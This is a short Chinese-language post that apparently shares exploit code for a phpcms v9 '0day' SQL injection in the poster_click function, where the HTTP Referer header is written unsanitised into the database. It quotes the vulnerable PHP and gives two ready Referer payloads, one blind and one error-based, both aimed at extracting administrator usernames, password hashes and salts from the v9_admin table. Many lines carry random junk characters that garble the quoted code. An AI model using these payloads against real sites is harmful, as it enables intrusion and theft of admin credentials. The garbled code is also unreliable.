phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

  j7 x+ ?! ^% e( X3 K: `/ \问题函数\phpcms\modules\poster\index.php
! r6 K4 ]" W( a
" a  ]& C( m3 H8 @6 Npublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
  X  L) y1 Q# R  ~( k8 jif (!is_array($r) && empty($r)) return false;
( g! I. u- V( D7 o' j* f$ip_area = pc_base::load_sys_class('ip_area');
1 j5 C: ^0 }4 ~6 I. q, z$ip = ip();
3 ^3 s6 I3 `" S5 N# B4 s$area = $ip_area->get($ip);
+ Z0 m" B6 q( t# @. v, U( `/ A$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
) f0 s- x9 ?' p! w* Y$setting = string2array($r['setting']);
1 j$ N$ \/ ~! m4 Iif (count($setting)==1) {
$url = $setting['1']['linkurl'];
' @: Z! s4 g9 w+ \, }2 C} else {
, ?' v4 M+ V+ v- ^$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
- f# Q$ l% S" P" \" ?}
+ X/ T. v& T" r- Z' a% A4 d( @+ v, C! hheader('Location: '.$url);
4 m* `, y1 _) }. Z' ~  g}



& ]2 p$ M( A  R利用方式：
0 g% L% v" m* h/ F6 _6 ~# _& p, i
5 v6 }6 a& t6 A$ G- `9 a/ m0 F1、可以采用盲注入的手法：

! z  P, [* ~, K$ r4 r& ireferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
2 o( Y) |* X( K$ x% g1 a
通过返回页面，正常与否一个个猜解密码字段。
4 [& r7 A( B9 }+ W+ }
) R" Z) S  b( w; J: ?2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
4 m! a- j' r+ V* d6 C3 v$ i2 B
此方法是爆错注入手法，原理自查。
